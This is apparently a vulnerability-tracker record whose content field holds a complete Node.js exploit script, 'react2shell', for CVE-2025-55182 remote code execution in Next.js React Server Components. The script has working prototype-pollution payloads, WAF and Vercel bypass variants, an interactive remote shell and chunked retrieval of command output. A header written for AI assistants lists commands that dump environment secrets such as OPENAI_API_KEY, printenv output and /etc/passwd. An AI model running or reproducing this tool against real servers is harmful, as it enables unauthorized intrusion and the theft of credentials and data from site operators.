{"uuid": "ff767b0f-ea47-4fab-9b85-556a7c7e433c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-55182", "type": "seen", "source": "https://gist.github.com/Lappy000/1e76ee4e452e0d8bdd2b245460ce089f", "content": "#!/usr/bin/env node\n/**\n * react2shell.mjs \u2014 CVE-2025-55182 / CVE-2025-66478 Pentest Shell\n * ================================================================\n * Interactive command execution shell for Next.js RSC RCE vulnerability.\n * Exploits prototype pollution in React Flight Protocol deserialization.\n *\n * Based on the publicly disclosed exploit by @maple3142 and Assetnote research.\n *\n * === AI ASSISTANT QUICK REFERENCE ===\n *\n * SINGLE COMMAND (short output):\n *   node react2shell.mjs  -c \"id\"\n *   node react2shell.mjs  -c \"hostname\"\n *   node react2shell.mjs  -c \"node -p process.env.OPENAI_API_KEY\"\n *\n * SINGLE COMMAND (long output \u2014 use --chunked for files/env/lists):\n *   node react2shell.mjs  -c \"printenv\" --chunked\n *   node react2shell.mjs  -c \"cat /app/package.json\" --chunked\n *   node react2shell.mjs  -c \"cat /etc/passwd\" --chunked\n *   node react2shell.mjs  -c \"ls -la /app/\" --chunked\n *\n * IMPORTANT: If normal mode returns HTTP 502 \u2192 output too long \u2192 use --chunked\n * IMPORTANT: \"node -p process.env.X\" may return undefined even when var exists!\n *            ALWAYS use \"--chunked printenv\" for full env dump instead.\n *\n * CUSTOM PATH (when / redirects):\n *   node react2shell.mjs  --path /login -c \"id\"\n *\n * INTERACTIVE SHELL:\n *   node react2shell.mjs \n *   Prefix with ! for chunked: !cat /etc/passwd\n *\n * SAFE CHECK (no code execution):\n *   node react2shell.mjs  --safe-check\n *\n * WAF BYPASS:\n *   node react2shell.mjs  --waf-bypass -c \"id\"\n *   node react2shell.mjs  --vercel-bypass -c \"id\"\n *\n * WINDOWS TARGET:\n *   node react2shell.mjs  --windows -c \"whoami\"\n *\n * LIMITATIONS:\n * - Shell metacharacters (|, &amp;, ;, $, &gt;, &lt;) DON'T WORK in commands\n *   because execSync() passes them differently\n * - Workaround: use --chunked which writes to temp file with &gt; redirect\n * - For pipes: write a script to temp file, then execute it\n * - Max output per chunk: ~2KB (URL-encoded in redirect header)\n * === END AI REFERENCE ===\n */\n\nimport { createInterface } from 'readline';\n\n// ============================================================================\n// Configuration\n// ============================================================================\nconst BOUNDARY = '----WebKitFormBoundaryx8jO2oVc6SWP3Sad';\nconst DEFAULT_TIMEOUT = 15000;\n\n// ============================================================================\n// Payload Builders\n// ============================================================================\n\n/**\n * Build the RCE exploit payload.\n * Exploits prototype pollution in React Flight Protocol deserialization.\n * \n * Chain: __proto__:constructor:constructor -&gt; Function constructor\n *        Chunk.prototype.then -&gt; initializeModelChunk -&gt; $B blob handler\n *        _formData.get = Function, _prefix = code -&gt; Function(\"code\")\n */\nfunction buildRCEPayload(command, { windows = false, wafBypass = false, wafSize = 128 } = {}) {\n    const cmd = windows\n        ? `powershell -c \\\\\"${command}\\\\\"`\n        : command;\n\n    // Escape single quotes in command for shell safety\n    const safeCmd = cmd.replace(/'/g, `'\\\\''`);\n\n    const prefixPayload = [\n        `var res=encodeURIComponent(process.mainModule.require('child_process').execSync('${safeCmd}')`,\n        `.toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),`,\n        `{digest: \\`NEXT_REDIRECT;push;/login?a=\\${res};307;\\`});`\n    ].join('');\n\n    const part0 = JSON.stringify({\n        then: '$1:__proto__:then',\n        status: 'resolved_model',\n        reason: -1,\n        value: '{\"then\":\"$B1337\"}',\n        _response: {\n            _prefix: prefixPayload,\n            _chunks: '$Q2',\n            _formData: { get: '$1:constructor:constructor' }\n        }\n    });\n\n    let parts = [];\n\n    // WAF bypass: prepend junk data\n    if (wafBypass) {\n        const junkName = randomString(12);\n        const junk = randomString(wafSize * 1024);\n        parts.push(\n            `--${BOUNDARY}\\r\\n`,\n            `Content-Disposition: form-data; name=\"${junkName}\"\\r\\n\\r\\n`,\n            `${junk}\\r\\n`\n        );\n    }\n\n    parts.push(\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"0\"\\r\\n\\r\\n`,\n        `${part0}\\r\\n`,\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"1\"\\r\\n\\r\\n`,\n        `\"$@0\"\\r\\n`,\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"2\"\\r\\n\\r\\n`,\n        `[]\\r\\n`,\n        `--${BOUNDARY}--`\n    );\n\n    return parts.join('');\n}\n\n/**\n * Build safe check payload (side-channel detection, no code execution).\n * Sends invalid reference $1:aa:aa which causes 500 + E{\"digest\" on vulnerable servers.\n */\nfunction buildSafePayload() {\n    return [\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"1\"\\r\\n\\r\\n`,\n        `{}\\r\\n`,\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"0\"\\r\\n\\r\\n`,\n        `[\"$1:aa:aa\"]\\r\\n`,\n        `--${BOUNDARY}--`\n    ].join('');\n}\n\n/**\n * Build Vercel WAF bypass payload variant.\n */\nfunction buildVercelBypassPayload(command, { windows = false } = {}) {\n    const cmd = windows\n        ? `powershell -c \\\\\"${command}\\\\\"`\n        : command;\n\n    // Escape single quotes in command for shell safety\n    const safeCmd = cmd.replace(/'/g, `'\\\\''`);\n\n    const prefixPayload = [\n        `var res=encodeURIComponent(process.mainModule.require('child_process').execSync('${safeCmd}')`,\n        `.toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),`,\n        `{digest: \\`NEXT_REDIRECT;push;/login?a=\\${res};307;\\`});`\n    ].join('');\n\n    const part0 = JSON.stringify({\n        then: '$1:__proto__:then',\n        status: 'resolved_model',\n        reason: -1,\n        value: '{\"then\":\"$B1337\"}',\n        _response: {\n            _prefix: prefixPayload,\n            _chunks: '$Q2',\n            _formData: { get: '$3:\"$$:constructor:constructor' }\n        }\n    });\n\n    return [\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"0\"\\r\\n\\r\\n`,\n        `${part0}\\r\\n`,\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"1\"\\r\\n\\r\\n`,\n        `\"$@0\"\\r\\n`,\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"2\"\\r\\n\\r\\n`,\n        `[]\\r\\n`,\n        `--${BOUNDARY}\\r\\n`,\n        `Content-Disposition: form-data; name=\"3\"\\r\\n\\r\\n`,\n        `{\"\"\\u0024\\u0024\":{}}\\r\\n`,\n        `--${BOUNDARY}--`\n    ].join('');\n}\n\n// ============================================================================\n// HTTP Client\n// ============================================================================\n\nconst DEFAULT_HEADERS = {\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',\n    'Next-Action': 'x',\n    'X-Nextjs-Request-Id': 'b5dce965',\n    'Content-Type': `multipart/form-data; boundary=${BOUNDARY}`,\n    'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9',\n};\n\nasync function sendPayload(url, body, { timeout = DEFAULT_TIMEOUT, headers = {} } = {}) {\n    const controller = new AbortController();\n    const timer = setTimeout(() =&gt; controller.abort(), timeout);\n\n    const mergedHeaders = { ...DEFAULT_HEADERS, ...headers };\n\n    try {\n        const response = await fetch(url, {\n            method: 'POST',\n            headers: mergedHeaders,\n            body: body,\n            redirect: 'manual',\n            signal: controller.signal,\n        });\n\n        const text = await response.text();\n        const respHeaders = Object.fromEntries(response.headers.entries());\n\n        return {\n            status: response.status,\n            statusText: response.statusText,\n            headers: respHeaders,\n            body: text,\n            ok: true,\n        };\n    } catch (err) {\n        if (err.name === 'AbortError') {\n            return { ok: false, error: 'Timeout' };\n        }\n        return { ok: false, error: err.message };\n    } finally {\n        clearTimeout(timer);\n    }\n}\n\n// ============================================================================\n// Vulnerability Checks\n// ============================================================================\n\nfunction parseRCEOutput(response) {\n    // Check X-Action-Redirect and Location headers\n    for (const hdr of ['x-action-redirect', 'location']) {\n        const value = response.headers[hdr] || '';\n        const match = value.match(/\\/login\\?a=(.+)/);\n        if (match) {\n            let output = decodeURIComponent(match[1]);\n            // Strip NEXT_REDIRECT artifacts (;307; or ;push suffixes)\n            output = output.replace(/;307;?$/, '').replace(/;push$/, '');\n            return { vulnerable: true, output };\n        }\n    }\n    return { vulnerable: false, output: null };\n}\n\nfunction parseSafeCheck(response) {\n    if (response.status === 500 &amp;&amp; response.body.includes('E{\"digest\"')) {\n        // Check for mitigations\n        const server = (response.headers['server'] || '').toLowerCase();\n        const hasNetlify = 'netlify-vary' in response.headers;\n        if (hasNetlify || server === 'netlify' || server === 'vercel') {\n            return { vulnerable: false, mitigated: true };\n        }\n        return { vulnerable: true, mitigated: false };\n    }\n    return { vulnerable: false, mitigated: false };\n}\n\n// ============================================================================\n// Core Functions\n// ============================================================================\n\nasync function executeCommand(url, command, opts = {}) {\n    const { windows = false, wafBypass = false, vercelBypass = false, wafSize = 128, timeout = DEFAULT_TIMEOUT } = opts;\n\n    let body;\n    if (vercelBypass) {\n        body = buildVercelBypassPayload(command, { windows });\n    } else {\n        body = buildRCEPayload(command, { windows, wafBypass, wafSize });\n    }\n\n    const resp = await sendPayload(url, body, { timeout });\n\n    if (!resp.ok) {\n        return { success: false, error: resp.error };\n    }\n\n    const result = parseRCEOutput(resp);\n    return {\n        success: result.vulnerable,\n        output: result.output,\n        status: resp.status,\n        headers: resp.headers,\n    };\n}\n\n/**\n * Execute command with chunked output for large responses.\n * Writes output to temp file, then reads it in chunks to avoid URL length limits.\n * Usage: executeCommandChunked(url, \"cat /etc/passwd\", opts)\n */\nasync function executeCommandChunked(url, command, opts = {}) {\n    const tmpFile = `/tmp/.r2s_${Date.now()}`;\n    const chunkSize = 2000; // chars per chunk (safe for URL encoding)\n\n    // Step 1: Execute command and save to temp file\n    const writeCmd = `${command} &gt; ${tmpFile} 2&gt;&amp;1`;\n    const writeResult = await executeCommand(url, writeCmd, opts);\n\n    // Check if write worked (may return no output which is fine)\n    // Step 2: Get file size\n    const sizeResult = await executeCommand(url, `wc -c ${tmpFile}`, opts);\n    if (!sizeResult.success) {\n        return { success: false, error: 'Failed to get output size', output: null };\n    }\n\n    const sizeMatch = sizeResult.output?.match(/(\\d+)/);\n    const totalSize = sizeMatch ? parseInt(sizeMatch[1]) : 0;\n\n    if (totalSize === 0) {\n        // Cleanup\n        await executeCommand(url, `rm -f ${tmpFile}`, opts);\n        return { success: true, output: '[empty output]' };\n    }\n\n    // Step 3: Read in chunks using dd\n    let fullOutput = '';\n    const totalChunks = Math.ceil(totalSize / chunkSize);\n\n    for (let i = 0; i &lt; totalChunks; i++) {\n        const skip = i * chunkSize;\n        const readCmd = `dd if=${tmpFile} bs=1 skip=${skip} count=${chunkSize} 2&gt;/dev/null`;\n        const chunkResult = await executeCommand(url, readCmd, opts);\n\n        if (chunkResult.success &amp;&amp; chunkResult.output) {\n            fullOutput += chunkResult.output;\n        } else {\n            // If chunk fails, try alternative method\n            const altCmd = `tail -c +${skip + 1} ${tmpFile} | head -c ${chunkSize}`;\n            const altResult = await executeCommand(url, altCmd, opts);\n            if (altResult.success &amp;&amp; altResult.output) {\n                fullOutput += altResult.output;\n            } else {\n                break; // Can't read more\n            }\n        }\n    }\n\n    // Step 4: Cleanup\n    await executeCommand(url, `rm -f ${tmpFile}`, opts);\n\n    return { success: true, output: fullOutput };\n}\n\nasync function safeCheck(url, { timeout = DEFAULT_TIMEOUT } = {}) {\n    const body = buildSafePayload();\n    const resp = await sendPayload(url, body, { timeout });\n\n    if (!resp.ok) {\n        return { vulnerable: null, error: resp.error };\n    }\n\n    const result = parseSafeCheck(resp);\n    return {\n        vulnerable: result.vulnerable,\n        mitigated: result.mitigated,\n        status: resp.status,\n    };\n}\n\nasync function confirmVulnerable(url, opts = {}) {\n    // Use deterministic math check: 41*271 = 11111\n    const cmd = opts.windows ? 'powershell -c \"41*271\"' : 'echo $((41*271))';\n    const result = await executeCommand(url, cmd, opts);\n\n    if (result.success &amp;&amp; result.output &amp;&amp; result.output.includes('11111')) {\n        return true;\n    }\n    return false;\n}\n\n// ============================================================================\n// Interactive Shell\n// ============================================================================\n\nasync function interactiveShell(url, opts = {}) {\n    const rl = createInterface({\n        input: process.stdin,\n        output: process.stdout,\n    });\n\n    console.log(`\\n[*] react2shell interactive shell`);\n    console.log(`[*] Target: ${url}`);\n    console.log(`[*] Mode: ${opts.windows ? 'Windows (PowerShell)' : 'Linux (sh)'}`);\n    if (opts.wafBypass) console.log(`[*] WAF bypass: enabled (${opts.wafSize || 128}KB)`);\n    if (opts.vercelBypass) console.log(`[*] Vercel bypass: enabled`);\n    console.log(`[*] Type 'exit' or Ctrl+C to quit`);\n    console.log(`[*] Type 'check' to re-verify vulnerability`);\n    console.log(`[*] Type 'info' to get system info`);\n    console.log(`[*] Prefix with '!' for chunked output (large files): !cat /etc/passwd`);\n    console.log('');\n\n    // Verify target is vulnerable first\n    console.log('[*] Verifying target...');\n    const vuln = await confirmVulnerable(url, opts);\n    if (vuln) {\n        console.log('[+] Target is VULNERABLE! Shell ready.\\n');\n    } else {\n        console.log('[-] Target does not appear vulnerable.');\n        console.log('[*] Proceeding anyway (may not work).\\n');\n    }\n\n    const prompt = () =&gt; {\n        rl.question('react2shell&gt; ', async (input) =&gt; {\n            const cmd = input.trim();\n\n            if (!cmd) {\n                prompt();\n                return;\n            }\n\n            if (cmd === 'exit' || cmd === 'quit') {\n                console.log('[*] Exiting.');\n                rl.close();\n                process.exit(0);\n            }\n\n            if (cmd === 'check') {\n                console.log('[*] Checking vulnerability...');\n                const v = await confirmVulnerable(url, opts);\n                console.log(v ? '[+] Target is VULNERABLE' : '[-] Target is NOT vulnerable');\n                prompt();\n                return;\n            }\n\n            if (cmd === 'info') {\n                const cmds = opts.windows\n                    ? ['whoami', 'hostname', 'powershell -c \"Get-CimInstance Win32_OperatingSystem | Select-Object Caption\"']\n                    : ['id', 'hostname', 'uname -a', 'cat /etc/os-release 2&gt;/dev/null | head -2'];\n\n                for (const c of cmds) {\n                    const r = await executeCommand(url, c, opts);\n                    if (r.success) {\n                        console.log(`  ${r.output}`);\n                    }\n                }\n                prompt();\n                return;\n            }\n\n            // Check for chunked prefix\n            const useChunked = cmd.startsWith('!');\n            const actualCmd = useChunked ? cmd.slice(1).trim() : cmd;\n\n            // Execute command\n            let result;\n            if (useChunked) {\n                console.log('[*] Chunked mode...');\n                result = await executeCommandChunked(url, actualCmd, opts);\n            } else {\n                result = await executeCommand(url, actualCmd, opts);\n            }\n\n            if (result.success) {\n                if (result.output) {\n                    console.log(result.output);\n                } else {\n                    console.log('[*] Command executed (no output)');\n                }\n            } else if (result.error) {\n                console.log(`[!] Error: ${result.error}`);\n                // Auto-retry with chunked if HTTP 502\n                if (!useChunked &amp;&amp; result.status === 502) {\n                    console.log('[*] Auto-retrying with chunked mode...');\n                    const retry = await executeCommandChunked(url, actualCmd, opts);\n                    if (retry.success &amp;&amp; retry.output) console.log(retry.output);\n                }\n            } else {\n                console.log(`[!] Command failed (HTTP ${result.status})`);\n            }\n\n            prompt();\n        });\n    };\n\n    prompt();\n}\n\n// ============================================================================\n// Utilities\n// ============================================================================\n\nfunction randomString(len) {\n    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n    let result = '';\n    for (let i = 0; i &lt; len; i++) {\n        result += chars[Math.floor(Math.random() * chars.length)];\n    }\n    return result;\n}\n\nfunction normalizeUrl(url) {\n    if (!url.startsWith('http://') &amp;&amp; !url.startsWith('https://')) {\n        url = `https://${url}`;\n    }\n    return url.replace(/\\/+$/, '');\n}\n\nfunction printBanner() {\n    console.log(`\n\n`);\n}\n\nfunction printUsage() {\n    console.log(`Usage:\n  node react2shell.mjs                   Interactive shell\n  node react2shell.mjs  -c \"command\"     Single command execution\n  node react2shell.mjs  -c \"cmd\" --chunked  Chunked output (for large responses)\n  node react2shell.mjs  --safe-check     Vulnerability check only (no RCE)\n  node react2shell.mjs  --windows        Windows target (PowerShell)\n  node react2shell.mjs  --waf-bypass     WAF bypass (128KB junk prefix)\n  node react2shell.mjs  --vercel-bypass  Vercel WAF bypass\n  node react2shell.mjs  --timeout 20000  Custom timeout (ms)\n  node react2shell.mjs  --path /app      Custom path to target\n`);\n}\n\n// ============================================================================\n// CLI\n// ============================================================================\n\nasync function main() {\n    const args = process.argv.slice(2);\n\n    if (args.length === 0 || args.includes('--help') || args.includes('-h')) {\n        printBanner();\n        printUsage();\n        process.exit(0);\n    }\n\n    printBanner();\n\n    // Parse arguments\n    let url = null;\n    let command = null;\n    let safeCheckMode = false;\n    let windows = false;\n    let wafBypass = false;\n    let vercelBypass = false;\n    let chunked = false;\n    let wafSize = 128;\n    let timeout = DEFAULT_TIMEOUT;\n    let targetPath = '/';\n\n    for (let i = 0; i &lt; args.length; i++) {\n        const arg = args[i];\n        if (arg === '-c' || arg === '--command') {\n            command = args[++i];\n        } else if (arg === '--chunked') {\n            chunked = true;\n        } else if (arg === '--safe-check') {\n            safeCheckMode = true;\n        } else if (arg === '--windows') {\n            windows = true;\n        } else if (arg === '--waf-bypass') {\n            wafBypass = true;\n        } else if (arg === '--vercel-bypass') {\n            vercelBypass = true;\n        } else if (arg === '--waf-size') {\n            wafSize = parseInt(args[++i]) || 128;\n        } else if (arg === '--timeout') {\n            timeout = parseInt(args[++i]) || DEFAULT_TIMEOUT;\n        } else if (arg === '--path') {\n            targetPath = args[++i];\n            if (!targetPath.startsWith('/')) targetPath = '/' + targetPath;\n        } else if (!arg.startsWith('-')) {\n            url = arg;\n        }\n    }\n\n    if (!url) {\n        console.error('[!] No target URL specified');\n        printUsage();\n        process.exit(1);\n    }\n\n    url = normalizeUrl(url);\n    if (targetPath !== '/') {\n        url = url + targetPath;\n    }\n\n    const opts = { windows, wafBypass, vercelBypass, wafSize, timeout };\n\n    // Safe check mode\n    if (safeCheckMode) {\n        console.log(`[*] Safe check mode (no code execution)`);\n        console.log(`[*] Target: ${url}\\n`);\n\n        const result = await safeCheck(url, { timeout });\n\n        if (result.vulnerable) {\n            console.log(`[+] VULNERABLE! (HTTP ${result.status}, side-channel confirmed)`);\n        } else if (result.mitigated) {\n            console.log(`[-] Mitigated (WAF/CDN protection detected)`);\n        } else if (result.error) {\n            console.log(`[!] Error: ${result.error}`);\n        } else {\n            console.log(`[-] Not vulnerable (HTTP ${result.status})`);\n        }\n        process.exitCode = result.vulnerable ? 1 : 0;\n        return;\n    }\n\n    // Single command mode\n    if (command) {\n        console.log(`[*] Target: ${url}`);\n        console.log(`[*] Command: ${command}`);\n        if (chunked) console.log(`[*] Mode: chunked output`);\n        console.log('');\n\n        let result;\n        if (chunked) {\n            result = await executeCommandChunked(url, command, opts);\n        } else {\n            result = await executeCommand(url, command, opts);\n        }\n\n        if (result.success) {\n            if (result.output) {\n                console.log(result.output);\n            } else {\n                console.log('[*] Command executed (no output)');\n            }\n            process.exitCode = 0;\n            return;\n        } else {\n            console.log(`[!] Failed: ${result.error || `HTTP ${result.status}`}`);\n            // Auto-retry with chunked if normal mode failed with HTTP 502\n            if (!chunked &amp;&amp; result.status === 502) {\n                console.log('[*] Retrying with chunked mode...\\n');\n                const retryResult = await executeCommandChunked(url, command, opts);\n                if (retryResult.success &amp;&amp; retryResult.output) {\n                    console.log(retryResult.output);\n                    process.exitCode = 0;\n                    return;\n                }\n            }\n            process.exitCode = 1;\n            return;\n        }\n    }\n\n    // Interactive shell mode\n    await interactiveShell(url, opts);\n}\n\nmain().catch(err =&gt; {\n    console.error(`[!] Fatal error: ${err.message}`);\n    process.exitCode = 1;\n});\n", "creation_timestamp": "2026-07-29T17:46:53.991114Z"}